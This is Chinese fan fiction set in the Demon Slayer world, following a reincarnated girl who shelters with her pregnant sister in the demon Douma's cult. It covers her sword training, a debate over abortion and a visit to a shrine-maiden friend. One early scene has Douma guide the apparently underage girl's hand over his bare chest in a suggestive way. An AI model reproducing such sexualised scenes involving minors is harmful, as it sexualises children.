《把童磨始乱终弃后》
1. 在?摸摸腹肌
——我是个很贱的人。
意识到这点后,雫衣有点想哭。
她怎么都想不明白,自己好好一个人怎么能贱成这样。
明明是她自己想学的,当初大家都苦口婆心地劝她不要学不要学,这根本就不是女孩子该学的东西,真的太累太辛苦了,我们还是一起玩游戏吧,可她不听不听,就是觉得“总有刁民想害朕”,就是要顶着大家欲言又止的眼神非学不可!
可当她真的开始学了,军训期还没过呢,她就忍不住萌生了退学的念头。
学习真的太难了!
雫衣悲痛欲绝地想,站姿好难,步法好难,素振更是难中之难!
一天下来,她什么东西都还没学会,肩、腰、手腕就已经被老师的木刀抽出条条红印子!
旧伤未愈,又添新伤。
青青紫紫的痕迹一层摞一层,细腻的肌肤都肿得要破皮。
别人帮她上药的时候,酒精一擦,她就忍不住一抖,眼泪也仿佛断了线的珠子,扑簌簌往下掉。
呜呜呜,又凉又疼!
恨死这个只有酒精没有碘伏的世界了!
“啊,是我弄疼你了吗?”担忧的声音从身侧响起,“可你伤得有点重,放任不管的话,明天只会更严重。请稍微再忍耐一下吧,只剩最后一处了。”
霎时间,雫衣眼泪掉得更凶了。
她慌忙扭过头,手忙脚乱擦去脸上泪水:“不疼,谢谢教主大人,麻烦你了。”
处理完伤口,雫衣放下撩起来的袖子。
四周光线幽暗,偌大的空间里被隔扇屏风隔开,无数虚影摇曳,只能听到火焰燃烧跳动的哔啵声,明明是寒冷的冬日,这里却温暖得让人头脑发昏,可她不敢多待,匆忙爬下御帐台。
“为什么要做这种事?”还没来得及道谢离开,身侧就传来似有不解的问询。
啊,哪种事?
雫衣茫然地想,找你上药吗?
可这不是你看我下课后,一瘸一拐地回家去,就觉得我真是太可怜,非要带我过来的吗?
“为什么就非学不可呢?”
并没有让雫衣困惑多久,他就从后面拉住雫衣的手,再次问出声,声音一如既往沉稳而柔和,“你已经从那个家逃出来了,这里很安全,没有人会伤害你,也没有人需要你不得不做什么。雫衣,你已经不需要害怕了,为什么不顺从自己的心意,开开心心地生活呢?”
“我顺从了,我很开心。”雫衣纠正。
“可是你总是在哭啊。”
那人重新把人拉回怀里,捧起雫衣的脸,不容拒绝地使她看过来。
被泪水浸地红通通的眸子,不期然跟一双彩虹般绚烂多彩的眼睛对视了,雫衣受惊般屏住呼吸,时至今日,她仍不太适应这样近距离贴脸,他却微微笑着,摩挲着她微微发白的小脸,睇来的目光透着近乎神性的悲悯,“雫衣,痛苦是无法用痛苦掩盖的。”
“如果感到痛苦,那你要做的是向我倾诉,而非自己承受。”
他俯身垂眸,仿佛看穿雫衣所有的坚强和伪装,大颗大颗的眼泪滚了下来,“你还这么小,又是个柔弱女孩子,完全没必要去做艰辛的事。你只要把一切都交给我就好了,我会接纳你一切的痛苦,救赎你全部的绝望,带领你走向真正的幸福和极乐。”
雫衣呆呆注视着男人。
好不容易停下的眼泪又唰得一下喷出来!
有那么一瞬,她的确也想倾诉。
眼前这个神明一般温柔的男人似乎天生有种魔力。
被那双含泪的七彩眼睛注视着的时候,内心某处仿佛被什么戳中,又酸又涩,莫名就觉得委屈。
忍不住想告诉他,老师真的很严格,打人真的好痛;还想告诉他学习真的很累,满满的体能训练不仅让她腰酸背痛,还让她小腿肚子都在抽筋;更想告诉他,她不想学了,付出没有收获让她感到十分痛苦,却又觉得这样逃避现实,追求安逸的自己好贱,于是更痛苦了……
可一切倾诉都毫无意义。
神明不在乎。
伪装成神明的童磨更不在乎。
身为鬼王无惨创造的上弦之二,他并不能理解人类的感情。
他只会在听完后,高高兴兴把人吃得骨头渣子都不剩,一边捂着肚子打饱嗝,一边心满意足地感慨,“太好了,我们终于融为一体了,在永恒的时间里,你都不会再感到痛苦和难过,只会同我一起共享极乐”。
该死的,谁要拥有这种幸福啊!
她哭唧唧地想,别以为我不知道,你就是变着法儿馋我身子,向你倾诉苦恼,我还不如主动跟拔叔探讨如何做人呢!
不过,话又说回来了——
“怎么哭得这么伤心?”
童磨露出茫然无措的表情。
他哄小孩子般把人搂在怀里,小心翼翼用指腹擦去她眼中不停冒出来的泪水,咸涩冰凉的水渍很快就把他手指浸湿,“……不要哭,是我说错话惹你难过了吗?”
雫衣摇摇头。
顶着湿漉漉的眼睛瞅他,好一会儿,才抽抽搭搭开口:“……你刚刚说的是真的么?”
童磨愣了一下,旋即笑着颔首:“当然是真的。我就是为此才会诞生于世的,只要你说,我就会聆听满足你所有的祈愿。”
“那你能给我摸摸吗?”
“??”
“摸摸腹肌。”
“……欸?”
“摸摸腹肌。”雫衣看向童磨,又重复一遍,“教主大人,我想摸摸腹肌。”
他能馋她身子。
她自然也能馋他身子。
有便宜不占王八蛋!
之前是她不好。
雫衣暗暗想,她不该只记得设置目标,而忘记给自己设置奖励。
直接说我要成为能单挑童磨的剑士,这话听起来就像喝紫藤花茶喝坏脑子了;可换个说法,说如果学习让我感到痛苦我就摸摸童磨,这话听起来就容易实现多了。
实现目标总伴随痛苦。
可如果童磨能成为她的奖励,好像也就没那么痛苦了。
她这样的贱人,付出努力就必须得到回报,就像她学得那么认真,班级前几就必须有她一席之地才行。
她不能白吃苦。
更不能得不到回应。
不然,就算头顶悬着达摩克利斯之剑,她也依然会犯贱,从而变成很贱的人。
想清楚后,雫衣重新看向童磨。
对于现在的她来说,童磨就是那个完美的奖励。
别看他不是人,但他长得是真好看啊。
白橡色的发,彩虹一样绚丽的七彩琉璃瞳,以及即便懵逼,也无时无刻不在保持无忧无虑微笑的柔和面庞,让他看起来像极了从高天原而来的天人。
美得天真纯洁,美得惊心动魄,
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美得鬼气森森。
唔,身材也是一级棒。
雫衣揉了揉眼睛。
纤浓的长睫被泪水黏成一团,都挡住她欣赏童磨美貌了。
视野重获清晰后,如有实质的目光缓缓下滑,眼前看到的一切都令她心跳不受控制加快。
极高的个头搭配虬结的筋骨,让他看起来格外魁梧。
尤其是宽广的胸膛,那上面覆盖着一块块锻炼到了极致的肌肉,被红底黑纹的紧身衣勾勒出块垒分明的痕迹,随着呼吸一下一下规律起伏,仿佛蝴蝶振翅,简直让人移不开眼!
再往下……
“你喜欢这样?”
恍然大悟的笑声打断雫衣的思绪。
她还没有回过神来,就被一只养尊处优的大手拉住,掌心抵在她垂涎已久的腰腹上,块垒分明的美好触感令她眼睛不受控制一点点亮起来。
童磨不理解雫衣为什么会喜欢这种东西。
硬硬巴巴的,不好吃,也不够柔软,摸起来手感也一点都不好。
之前想跟他恋爱的信徒们,也有想要摸摸的,但她们更爱摸他的手,一摸到就会幸福地流出泪来,倘若被他抚上脸颊、头发,甚至会激动得昏过去。
被要求摸腹肌还是第一次,虽然跟之前的恋爱游戏不太一样,但这不妨碍他领着雫衣的手,掀开自己衣服伸进去,仿佛在做什么善行一般,兴致勃勃带着她从上摸到下、从左摸到右,活像个大方的男菩萨。
“……这样,会让你感到幸福吗?”
低沉柔和的声音从上方传来。
羽毛般细微的气息拂过雫衣发顶,带着一股不可名状的电流,酥酥麻麻的战栗顺着尾椎骨蔓延开来,雫衣情不自禁打了个哆嗦。
失去衣物的遮挡,双方肌肤毫无阻碍地贴在一起。
不知道是不是鬼的新陈代谢太高了,童磨身上很热,在这样寒冷的冬日,好像一台不会熄灭的小火炉,炽热的体温源源不断顺着贴合的部位扩散过来,掌心都被烫得生疼。
雫衣近乎无措地蜷起手指。
却因为童磨按得太紧了,指尖更清晰地感受到了下方肌肉的每一丝纹理,越来越烫的体温顺着血管里鼓动的血液涌上大脑,脑袋都变得晕晕乎乎。
“很、很幸福……”雫衣声若蚊蚋,红晕一点点爬上小脸。
童磨低低笑出声,牵着她的手继续往上。
童磨拥有跟他身份不匹配的健硕体格。
就连柔软的一点,也随着不属于本人的柔软手指贴上来,以肉眼可见的速度变硬,凸显出极其强烈的存在感。
意识到那是什么后,雫衣瞬间瞳孔地震,想缩手,却被童磨攥得更紧。
“不能这样!!”雫衣大声说。
“嗯?为什么不能?”童磨继续牵着她的手抚摸,“这里还有大片大片肌肉你没摸过呢,不摸了吗?为什么?是我已经无法带给你幸福了吗?”
“我现在就摸了,下次还怎么奖励自己?”
无视表情再度空白的童磨,雫衣严肃抽回手,坚决对不良诱惑说no,“虽然我的确学得很辛苦,但也不能一口气奖励自己这么多,这未免也太奢侈了!实非长久之道!!”
说完,雫衣就从童磨怀里站起身。
再一次用眼睛描摹了一遍那美丽的面庞和手感极佳的腰腹,九十度鞠躬感谢他的慷慨:
“多谢款待,我下次还来。”
2. 拜托了,请你去死吧
雫衣已经想好下次摸哪里、摸多久了。
重拾道心让她浑身上下都充满干劲,再也不厌学了!
可不知为何,当她第二天继续找老师挨虐,啊不,学习的时候,从来不用正眼看她的老师,用一种意味不明的复杂眼神,盯着她看了好一会儿,才摆摆手说,这两天放假,让她回去好好休息,养好身体再来,不必急于求成。
雫衣:“??”
雫衣不明白老师怎么忽然变性了。
明明之前还那么严厉,挨抽的时候她多红一下眼,都要被无情加练,残酷的学习纲领就差把“受不了就赶紧退出,别给我添乱,我没时间陪小孩子玩过家家的游戏”写在脸上。
……总不至于是童磨害羞了,不想给她摸摸,故意让老师拖延时间吧?
这个念头刚从脑海过了过,雫衣自己就忍不住笑了。
这怎么可能呢?
她好笑地想,昨天她提出来的时候,他可是一点反对也没有啊!
而且,他被摸得很开心,还那么激动,如果不是她及时叫停,简直不敢想象他还要给她摸哪里!
嗐,只能说没有平台约束的男菩萨就是大方!
就是不知道他是天生如此男菩萨,还是成为鬼后才变得这么男菩萨……
但不管怎么说,童磨都跟害羞不沾边,他要是会害羞的话,野猪都能上树了!
实在想不出个所以然,雫衣干脆放弃,反正他又不可能用这个借口拒绝她一辈子,一瘸一拐回家去。
说是家。
实际上是万事极乐教的员工宿舍。
虽然比不上童磨房间宽敞华丽、四季如春,但因为只有三叠大小,又位于板屋中间,只要在角落里放一个小小的炭盆,就会变得很温暖,让人可以安心地一觉睡到大天亮,比那老旧潮湿的破茅草屋不知道好多少。
“今天怎么回来这么早?”
雫衣仰头看过去。
就见一个十六七岁的美丽少女,正坐在窗边的矮几上绣着什么。
见她望来,那双春日草丝般柔软的绿眸立刻弯成细细新月,温柔地冲她笑。
洞开的格子窗投来明亮的光,落在少女恬淡柔美的脸上,晴午的光晕朦胧柔和,清晰映照出眼角尚未消退的青紫淤痕——那是她拼命护着自己时,被家暴贱男殴打留下的痕迹。
随着时间流逝,非但没有消退的迹象,反而愈发肿胀骇人。
她说已经不疼了。
医生也说这是恢复的正常过程,再过段时间就会好的,完全不必焦虑,可每每触及,雫衣心里都很不是滋味。
“嗯,老师说这两天放假。”雫衣走过去,坐在她对面,处理绣品上的线头,“让我养好身体,等恢复了再继续。”
“本该如此。”少女点点头,“就算是地主家的长工,也没有一天到晚都干活的道理,他真的太严格,况且,你还这么小呢,他怎么能那样狠心的打你?”
雫衣说:“严师出高徒嘛。”
“你本来就是聪明的孩子,不用他教也可以长得很高!”
少女不满地哼了声,“反正我不喜欢他,一点也不想他做你老师,总觉得他在故意针对你!”
雫衣忍俊不禁。
某种程度上,她真相了。
“也还好。”雫衣不想她担心,含糊道,“毕竟学得是防身的剑术,而不是其他东西,老师严格也有严格的好处,现在挨打多了,以后就不会挨打了。”
少女严肃思考起来。
好一会儿,她再次坚定摇摇头:“……我还是不喜欢他。他对你不好,我不喜欢对你不好的人。”
“我也是。”雫衣低头咬断线头。
“是吧!”少女顿时笑得眉眼弯弯,“我们果然是亲生的姐妹俩,就连喜恶都一模一样!”
闲聊间,困意毫无征兆上涌。
少女不停打着哈欠,她揉了揉发涩的眼皮,还想硬撑着把手里的活计做完,却被雫衣夺走布料,丢回针线筐里。
“今天太阳好好,晒得人暖洋洋的,感觉我又有点困了,不如你陪我再睡一会儿吧。”雫衣主动搬出被褥铺好,钻进被窝,发出邀请。
少女迷惘地眨了眨眼。
不太明白雫衣怎么忽然就想睡觉了,明明她看起来一点也不困,但她从来不会拒绝自己的妹妹。
二人相拥而眠。
少女的呼吸很快变得平稳绵长。
雫衣缓缓睁开眼。
视线顺着近在咫尺的苍白小脸下滑,来到被衣物遮挡的小腹,脸色一点点变得凝重起来。
她根本就不是困了。
而是已经出现了孕期症状。
****
****
雫衣觉醒得太晚了。
准确来说,直到被童磨捡回去,她才终于意识到自己究竟来了什么鬼地方。
所幸——
童磨没有虐杀流浪猫的爱好。
他一般是养好了再杀。
雫衣什么都知道。
但她目前并没有要逃走的想法,相反的,还很感恩童磨。
抛开童磨表面上是神明在世间的代行人,实际上是鬼王无惨的上弦之二,以爱吃女人闻名遐迩的事实不谈,童磨真是个很正能量的教主,他所掌管的万事极乐教更真的是个很适合过渡的地方。
来到万事极乐教,就像回家一样。
只一瞬之间,她就从不把人当人的封建旧时代,重新回到共产主义新社会的怀抱,彻底脱离苦海,实现共同富裕。
嗯,至于哪里来的产、怎么就富裕了……不要在意这种细节啦!
【感恩童磨】
哦哦哦,雫衣当然没有疯。
她心理很健康,情绪也很稳定,精神更是正常的不得了。
之所以会发自内心感恩童磨,主要是因为祖国脱贫攻坚的风并没有吹到鬼灭。
这就使得在没遇到童磨之前,她的日子已经苦到无法用“至少还没有怀孕”来安慰自己了——因为ことは是真怀孕了。
不认识ことは?
没关系,写成“琴叶”是不是就认识了?
这时候,可能就有聪明的小伙伴要问了,琴叶啊,大家都很熟的,三小只里伊之助的妈妈嘛,可她怀孕跟你有什么关系?
雫衣忍不住叹气。
如果真的毫无关系就好了,可事实却是,等她醒悟过来这是她第二次人生的时候,已经太晚了,琴叶已经成了她姐姐……
如今,唯一的血肉至亲怀着孕,正是需要妥善照顾的时候,相比于那个由家暴贱男跟死老太婆构成的污秽之地,接受童磨的收留,呆在万事不愁的极乐教
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才是明智之举。
【感恩童磨】
雫衣并不担心会被童磨挑选为食材。
倒不是她完全信了童磨的回忆,觉得他是个好鬼,不会伤害琴叶,而是她现在更焦虑现在要怎么做个单亲妈妈。
——单亲妈妈真的太难了。
不管在哪个时代,单亲妈妈都不好当。
尤其还是在这样一个村请制度阴影没有完全消散,女人被当作男人的所有物,牢牢束缚在家庭和土地上,根本没法儿偷跑出去谋生的封建时代,女人想要好好活下去,原本就已经很难了,再加上一个拖油瓶……简直瞬间让人跌破斩杀线,绝望得根本看不见未来!
当然,事情也不是完全不能解决。
雫衣平静地想,只要选择一直留在万事极乐教,接受童磨的收留和庇护,那做单亲妈妈就没什么好绝望的。
毕竟,童磨貌似还很乐意做伊之助继爸的,这也就意味着,只要别让琴叶触发那个特殊晚餐CG,说不定有生之年,她还能看到极乐教太子伊之助IF线呢……
可这样真的好吗?
雫衣扪心自问,把人生托付在男人手上,真的好吗?
眼前这个人,不是漫画里那个仅仅存在于童磨回忆里的琴叶,而是真实活在她眼前,抚养她长大,待她如姐如母的琴叶,她真的要用自己的母亲、自己姐姐,去赌这世上存在烂人真心吗?
是假的,逃不过一死。
是真的,她就得欺骗琴叶,时时刻刻帮童磨隐瞒他的真实身份。万一被发现了,还得哭着求琴叶留下来,拜托她继续顺从童磨心意、讨好他、满足他。
想到这里,雫衣脸上不禁露出嫌恶的表情。
跟男人沆瀣一气,还要以“为你好之名”,出卖自己亲姐姐,这真是人能干出来的事?好好一个人,真的有必要贱到这种程度吗?
雫衣觉得没必要。
虽然她的确有点贱,但她还不至于那么贱。
别说烂人真心了,就算是圣人真心,也不值得她拿琴叶的命来赌。
她迟早会带琴叶离开这里。
可这样的话,事情就又回到了原点。
——单亲妈妈真的太难了。
雫衣注视着仍在熟睡的琴叶。
曾经动摇过的念头再次摇摇晃晃浮现。
明明细弱得风一吹就折,却藤蔓般攀援生长至她耳畔,发出令人无法忽视的絮絮低语:
既然好难,那不生不就好了?
……
……
“琴叶,要不然我们不生孩子了吧。”睡醒后,雫衣提议。
“嗯?”琴叶看过来。
“这个孩子身体里流着一半那个男人的血,大概率会继承他父亲的糟糕个性,以后长大了,说不定还会拥有一张跟他相似的脸……”
雫衣卷起被褥,塞进畳箱。
她知道伊之助是个好孩子,也知道他绝不可能成为那个家暴贱男一样的畜生,可孩子就是负累,从嗷嗷待哺的婴儿,到能跑能跳的少年,天知道要付出多大心力!
十六七岁的少女,可以为人际交往所苦,也可以学业家庭神伤,更可以为懵懂爱情流泪,唯独不可以体验成为母亲的感觉。
所以——
拜托了,伊之助。
为了妈妈,请你去死吧。
3. 感恩童磨
“那么恶心的脸,每次看到都只会让人回忆起痛苦的过往。”
雫衣低垂着眉眼,心里并没有很强烈的恨意。
原本就是她信口胡诌的,说出来也不过是为了怂恿琴叶同意不生。
人是很奇怪的生物,遇到问题总是会纠结反复,必要时候都喜欢别人给自己个建议,或是认同,或是否定——虽然事后很有可能招致怨恨,但她还是想推琴叶一把。
“我们好不容易逃离了那个地方,好不容易过上幸福的生活,美好的未来触手可及,完全没必要生下那个男人的孩子,那只会给带给我们不幸……我之前拜托过神篱,她说会帮我们想办法,现在已经过了小半个月的时间,想必她已经有了解决办法,只要你同意,我马上……”
正说着,温暖的手覆了过来。
雫衣仰起头,视线撞入一双春水温柔的眸中。
“不要怕。”琴叶总是笑着。
就像过去无数个寒冷的冬日那样,她轻轻捧住雫衣的手,用掌心给她取暖,“这孩子肯定不会成为让你感到痛苦的人,他是顺应我的期望才出现的。 ”
顿了顿,她说,“雫衣,这是属于我们的孩子。”
雫衣愕然。
什、什么叫我们的孩子?!
“那时候,我真的太弱小了。”
回忆起过去的事,琴叶低下头,露出很不好意思的表情,“什么都做不到,什么也保护不了,一点也不像个姐姐,只会哭泣,遇到事也只会祈求有谁能来帮帮我……”
雫衣忍不住蹙眉。
她怎么会这样想?
明明这世上就没有比她更好、更称职的姐姐了。
“……然后,他就出现了。”
琴叶重新看向雫衣。
她像是好不容易才鼓起了勇气,全身都在用力,握得雫衣的手都在发疼,“在他尚未降生之时,他就好好保护了我们。等他长大了,一定会成为一个很好的人,雫衣,你不要怕他,他肯定不会……”
“我不怕他。”雫衣打断琴叶的话。
她不明白琴叶为什么会这么想。
别说他现在只是根豆芽菜,就算他那个家暴贱畜生爹重新出现在她面前,她也不会怕。
“啊,那你要不要摸摸?”琴叶眼睛猛地亮起来。
雫衣:“??”
雫衣还没有反应过来,就被琴叶拉着手,按在微微隆起的腹部。
琴叶实在过分纤瘦了。
即便怀孕,身上也没有多出几两肉,薄薄的腹壁完全阻挡不了什么。
掌下,恍若有小小的金鱼游弋,漂亮的尾巴慢腾腾拂过指尖,那种怪异又陌生的柔软触感让雫衣瞳孔不受控制放大,她几乎是下意识甩手,又怕自己动作激烈牵连到琴叶,整个人僵在原地,仿佛一台生锈的机器,都不知道该摆出什么表情才好。
“我也是刚刚才发现,之前,他一直都乖乖呆在我肚子里,没有丝毫存在感,直到我们来到这里,他才变得活泼起来,时不时动一下……雫衣,你摸摸,他真的好乖哦!”
说这话时,琴叶那双春水的眸子熠熠生辉,仿佛通透的绿宝石。
全不见半分痛苦,似乎往日阴霾未曾沾染她分毫,时光从她身上淌过,只带来昂扬的生命力,浸透她的眉眼发梢。
“这让我忍不住想起小时候的你。”
琴叶搂住雫衣,雫衣抿了抿唇,没有抗拒,顺着力道依偎在她怀里,“那时候,你也是这样小小的一团,却不爱哭闹。等到稍微大点,会走了之后,更是早早成了小大人的模样,不管过得多艰难,都一直陪在我身边,还会在我哭泣的时候,用你小小的手帮我擦去脸上的泪水……好幸福啊,雫衣,有你陪着我真的好幸福呀!”
不是这样的!
雫衣一点点揪紧琴叶衣襟。
心里有个声音在声嘶力竭的尖叫,事实根本就不是这样的!
我从来没带给过你幸福!
是你太容易满足了,才会从微不足道的地方咂摸出幸福的滋味,明明、明明……
“因为有你的存在,我再也不是孤零零一个人。”
琴叶抱着雫衣,把脸贴在她毛绒绒的脑袋上蹭着,发出心满意足的喟叹,“雫衣,我真的好喜欢你,这世上最幸福的事,就是跟你成为一家人!”
雫衣靠在琴叶心口。
听着她胸膛深处传来的鲜活震动,许久之后,才从她怀里仰起头。
凝睇着那双爱笑的眼睛,几乎快把她吞噬淹没的藤蔓以肉眼可见的速度干瘪、枯萎、风化成灰,就连那些心头奔涌的激烈情绪也悉数如潮水褪去。
世界重获清明。
“我也是。”雫衣笑了。
她仰头在琴叶脸上亲了口,脸颊由此变得滚烫,不好意思地重新蜷进琴叶怀里,“我也觉得能跟你成为一家人,真的太好了……琴叶,我也喜欢你,这世上我最喜欢的就是你了!我会一直喜欢你,也会喜欢我们的孩子,我相信他一定会成为很好很好的人。”
既然琴叶喜欢,那就留下吧。
雫衣心平气和地想,不就是多养一个孩子吗?这有什么难的?
虽然世界不同,但她不信在这里养个不需要卷各种补习班的孩子,会比考上大学更难,会比找份工资5000+,五险一金,周末双修,公司团建不占用休息日的工作更难。
她赢了那么久,没道理来到这里就会输。
就算这里真的跟她相性很差,她也还可以偷童磨的钱养他们啊!
反正她都把童磨人摸了,再偷点他的钱又算得了什么?
条条大路通罗马,好好一个人哪能被尿憋死?
实在不行,她还可以向鬼杀队出卖童磨嘛——嗯,她的确发自内心感恩童磨,但不妨碍她反手就把人卖了,因为她真是个很贱的人!
“我就知道你肯定也会喜欢他!”琴叶更开心了。
屈起小拇指,跟她拉勾勾,轻快地哼着,“你们都是可爱的孩子,我会永远永远珍爱你们,无论发生什么,我们一家人都要在一起,什么都不能把我们分开!只要我们在一起,未来就没有什么好怕!”
最后,拇指相触,“拉钩起誓,不准反悔,就这么说定了!”
雫衣被牵着完成仪式。
忍不住叹气,可真是个傻姑娘。
做约定的时候,好歹说点诅咒的话啊。
她无奈地想,万一被骗了呢?就这么轻易放过对方吗?最起码也要占点嘴上便宜吧?
可望着琴叶灿烂明媚的笑颜,这些只会扫兴的大道理,忽然就一个字都说不出来了……
算了,又不是什么大事。
雫衣脸上重新露出笑容。
琴叶有疏漏也没关系,反正还有她呢。
她已经不是小孩子了,她也不会再做错任何选择,更不会再给任何人伤害和亏欠她们的机会。
嗯,唯一可惜的是,过去的伤害和亏欠她只讨回来三分之一,还有三分之二成了坏账……
一想起这个,雫衣就有点笑不出来了。
你说世上怎么会有人死债消这么可恨的事啊?
她都没同意,谁允许他们人死债消了?他们说死就死,可亏欠她的拿什么还?
欸,好烦!有时候真想找职业讨债人给自己想想办法!!<
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雫衣emoing。
绣东西是个精细活。
等琴叶完成手上的最后的绣品,时间已经来到两天后的中午。
反复检查绣品没问题后,琴叶把它们叠放好,包起来。
这些都是她们还在那个家的时候,为了生计,从神篱那里接来的针线活,怕被别人发现,一直都藏在身上,之前出逃的时候,也就顺势一起带了出来。
往日绣完,她都会赶紧给神篱送过去,生怕耽误她使用,可现在情况不同,她身上的伤至今未痊,行走不便,万一路上遇到点什么,给大家带来麻烦就不好了。
犹豫再三,琴叶还是决定等身体恢复了,再给神篱送去。
“交给我吧!!”
雫衣停下拉伸的动作,自告奋勇接下任务,“我下山跑一圈,顺道就给她送过去了。虽然老师给我放了假,让我好好休息休息,但我也不能真的懈怠。你知道的,学习这种事情,如逆水行舟,不进则退。现在安逸,以后可就有的苦头吃了。”
“而且,我也想早点见到神篱,毕竟是我拜托她帮忙的,要是一直不回应,她肯定也会担心。”
“现在外面还很危险。”琴叶犹豫,“说不定他们还在找我们,万一你被他们抓住,我又不在你身边,你可怎么办啊?”
“放心啦,不会发生那种事!”
雫衣摆摆手,从她手里抢过包好的绣品,拍着胸脯保证,“他们都不知道我们在这里。就算知道,他们也抓不到我啊,我可是很会跑的!你相信我,这些天的苦我可不是白吃的,我早就不是当初那个我了!”
“你能找到路吗?”琴叶还是很不安。
“当然可以。”雫衣冲她比了个“OK”的手势,“我之前跟着老师进行进行体能训练,就是从山上跑到山下,再从山下跑回来,跑步动作不到位,呼吸方法不对,都会挨抽……唉,只能说,我现在对这条路已经熟得闭着眼都能走了。”
琴叶被逗笑。
“别担心,我很快会回来。”
望着琴叶依然难掩忧色的眸子,雫衣歪头在她脸亲了口,笑着说,“在这里安心等我,哪里都不要去。”
雫衣很清楚琴叶在担心什么。
她也很想跟琴叶坦白,那两人早死了。
就在她们接受童磨收留的时候,那个家暴贱男跟那个死老太婆,就因为让童磨觉得很烦,随手杀了,弃之山间,完全不必担心他们会阴魂不散地找过来,缠着她们不放——嗯,虽然她没有亲眼所见,但她刷到过《大正悄悄话》的截图,这瓜保真!
奈何这个说辞简直比“童磨是鬼”还空穴来风。
可现在就不一样啦!
只要她下一趟山,那她就可以给出令人信服的理由!
琴叶不问,她不说;
琴叶一问,她就说是从路边听来的。
嗯,的确是这样的!
大家都说他们失踪好几天了,一直没找到,大概率是作恶多端遭报应,被出来觅食的熊吃了也说不定。
“活该啊!”
“谁说不是呢。”
畅想着未来可能会出现的温馨对话,雫衣下山的脚步愈发轻快,就连过度运动的肌肉都不酸痛了。
雫衣不觉得自己在欺骗琴叶。
她只是告诉了琴叶普通人眼里的事实而已。
甚至,如果不是她的确不止一次刷到过那个截图,她也觉得“童磨杀死了琴叶的家暴丈夫和婆婆”,很像童磨粉二创入脑,在帮童磨洗白。
童磨可是鬼啊!
他怎么会做这么大快人心的好事?
【感恩童磨】
4. 巫女神篱
来到镇上,雫衣叩开神篱家的大门。
不等佣人引路,她就轻车熟路踏入庭院,一眼就看到了那个站在廊檐下的白衣绯袴少女。
她年纪不大,看起来也就十二三岁。
平日里总是孤身一人,但跟随处可见的孤儿不同,她从来不用为衣食犯愁,更没有遭遇过令人惊惧的骚扰。
在如今这个世道,能活得如此自在,本身就昭示了很多东西。
还没有觉醒的时候,雫衣就觉得她肯定是很重要的角色。
倒不是因为她家境好、长得好、气质还好,而是因为她的发色和瞳色都不普通。
要知道,作者都很喜欢给角色加特色,以区别路人npc。
就像琴叶,身为伊之助的妈妈,她就得是绿色眼睛,外加让堕姬都承认的美貌。
而神篱神秘的身世,丝绸般的白发,以及薰衣草色的眸子,只要不是跟齐神生活在同一片天空之下,那三倍buff只会让她的存在更为重要——不然,作者没必要费心让她变得与众不同。
就是“神篱”这个名字属实有点陌生了。
她没在《柱灭之刃》里见过,不过这也不意味着她判断失误,说不定这个世界还综了其他她没看过的番呢?
要知道,她都能来到这里了,这世上还有什么是不会发生的吗?
想到这里,雫衣重新看向神篱。
嗯,就算她跟我一样,只是个无足轻重的npc也没关系。
我也还是很喜欢她。
喜欢她沉静的模样,喜欢她认真的表情,更喜欢她明明可以“嗟,来食”,却小心翼翼顾及我们心情的温柔……
“雫衣,你来了。”
少女的声音拽回雫衣飞走的思绪。
雫衣回过神。
前方的少女正抿着唇笑,薰衣草色的眸子弯出微小的弧度,熏风拂过垂落的鬓发,琉璃般的阳光散落在她眸底,细碎闪耀。
“嗯!”雫衣也笑了,立刻小跑过去。
被神篱领到房间,刚在她旁边座下,就迫不及待解开包裹,把叠放整齐的绣品交给她,“给——,你看看,这次的成品还满意吗?”
“当然满意,我一直很相信琴叶的手艺。”神篱将仆人端来的食案推向雫衣,上面摆满了甜品和三色团茶点,“不过,这次怎么这么快?你帮琴叶一起绣的?”
说着,她翻看起绣品,似乎想要从里面找出雫衣的作品。
“没呢。”雫衣摇摇头。
她捏起一块碳烤酱汁丸子,塞进嘴里,咸鲜焦酥的口感在嘴里炸开,幸福得声音都欢快起来,“你给的布料是正绢,太珍贵啦,我不敢下手,万一给你拆出一个个窟窿可就不好了。”
神篱唔了一声:“其实,你们不必如此着急,我不急着用,完全等你们有空了,再……”
“没有着急,我们最近都很空。”
雫衣咽下嘴里的食物,迎着神篱困惑的目光,冲她笑,“是这样,最近发生了一些事,目前,我跟琴叶已经离开那个家,加入了教会。”
神篱眉头一皱。
“别担心,那是个很和谐的教会,信众也都是很好的人。”
雫衣解释说,“大家出身相似,相处得很愉快。平日里,他们对我们姐妹俩也都很照顾。”
“我这次过来,不仅是想把绣品交给你,还想告诉你,已经不必费心帮我们寻找用来安全流产的药物了,我跟琴叶已经约定好,会生下那个孩子。”
说着,她顿了顿,露出有些不好意思的表情,“虽然我还是觉得做单亲妈妈的有点很难啦,但有了教会的帮助,我们肯定能顺利度过最艰难的日子,迟早……”
“那个教会叫什么名字?”
神篱打断雫衣的话,眉头皱得更紧。
她之前也听说过收留贫民的寺庙,但无一例外,都是藏污纳垢之地。
雫衣犹豫了一下,回答:“万事极乐教。”
神篱表情愈发严肃。
她没听过,但她不觉得这是好事:“……你们怎么不来找我?”
雫衣沉默下来。
唔,这该怎么说呢?
最开始的时候,她们的确是准备向她求救来着,但天太黑了,被围追堵截的时候,不小心跑岔路,然后就完全迷失了方向……再后来,就被童磨当流浪猫捡了回去。
至于为什么明知童磨爱吃女人,却还是选择留在万事极乐教,而不是及时止损,寻求神篱的帮助……
“因为我们并不准备再那里呆太久。”
雫衣看向神篱,斟酌着字句,一字一顿,“等琴叶平安生下孩子、养好身体,我们就会离开那里,把位置留给更需要的人。我们有手有脚,在这里或许会活得很难,可一旦去了你说过的大城市,我想总有我能把握得住的工作机会,我们可以自己养活自己。”
“你已经帮了我们很多了,不仅给了我们工作,还愿意帮我们寻找珍贵的药品……我们总不好一直白吃白喝你的。”
但童磨就不一样了。
她无时无刻不发自内心感恩童磨,白吃白喝是她们应得的。
【感恩童磨】
神篱还是很担心:“可到时候,你确定你们还能顺利离开吗?”
“没问题。”雫衣点点头。
她很确定童磨既不骗钱,也不骗色,他就纯骗吃,“教会并不怎么管制信众,完全可以说来去自由。而且,大家也不是全然靠虔诚信徒的布施过活,教会有属于自己的土地,农闲时,信众也会生产一些手工艺品,除去自己使用的,额外的都会拿到外面售卖。”
神篱表情稍稍缓和了一点。
“去大城市的话……”
“哦,对了,还有一件事……”
二人不约而同出声。
雫衣停下来,看向神篱。
神篱问出未尽之语:“万事极乐教能帮你们开具证明吗?”
雫衣:“证明?什么证明?”
神篱:“去大城市工作的话,很多地方都要用到户籍证明。”
雫衣:“??”
还要证明?
大城市不应该更开放、更宽容、更自由吗?
“你们是从家里逃出来的,仅靠自己,恐怕很难通过正规途径弄到户籍抄本。”
